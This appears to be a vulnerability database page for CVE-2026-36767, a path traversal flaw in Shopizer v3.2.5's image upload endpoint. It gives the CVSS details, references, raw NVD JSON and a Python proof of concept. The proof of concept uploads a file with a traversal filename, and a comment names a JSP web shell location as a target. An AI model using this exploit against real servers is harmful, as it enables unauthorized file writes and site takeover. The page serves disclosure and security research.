CVE-2026-36767

Description

A path traversal vulnerability in the /content/images/add endpoint of shopizer v3.2.5 allows attackers write arbitrary files to any writeable path via a crafted POST request.

CVSS Details

CVSS Score

10.0

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Shopizer v3.2.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# CVE-2026-36767 Proof of Concept
# Target: Shopizer v3.2.5
# Description: Exploits path traversal in /content/images/add to write arbitrary files.

target = "http://127.0.0.1:8080"
endpoint = "/content/images/add"

# Malicious filename using path traversal to write to webroot or temp directory
# Example: ../../../../tmp/poc.txt or ../../webapps/ROOT/shell.jsp
filename = "../../tmp/poc_test.txt"
file_content = b"CVE-2026-36767 Vulnerability Exploited"

# Construct the multipart form data
files = {
    'file': (filename, file_content, 'text/plain')
}

url = target + endpoint

try:
    response = requests.post(url, files=files)
    if response.status_code == 200 or response.status_code == 201:
        print(f"[+] Request sent successfully. Check if file was written at path traversal target.")
    else:
        print(f"[-] Exploit failed. Status code: {response.status_code}")
        print(response.text)
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-36767
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-36767
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-36767/
[4] VulDB https://vuldb.com/cve/CVE-2026-36767
[5] https://github.com/shopizer-ecommerce/shopizer
[6] https://github.com/shopizer-ecommerce/shopizer/issues/1091
[7] https://github.com/shopizer-ecommerce/shopizer/issues/1091

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-36767", "sourceIdentifier": "[email protected]", "published": "2026-04-30T17:16:26.267", "lastModified": "2026-04-30T18:16:29.947", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A path traversal vulnerability in the /content/images/add endpoint of shopizer v3.2.5 allows attackers write arbitrary files to any writeable path via a crafted POST request."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 10.0, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 6.0}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/shopizer-ecommerce/shopizer", "source": "[email protected]"}, {"url": "https://github.com/shopizer-ecommerce/shopizer/issues/1091", "source": "[email protected]"}, {"url": "https://github.com/shopizer-ecommerce/shopizer/issues/1091", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}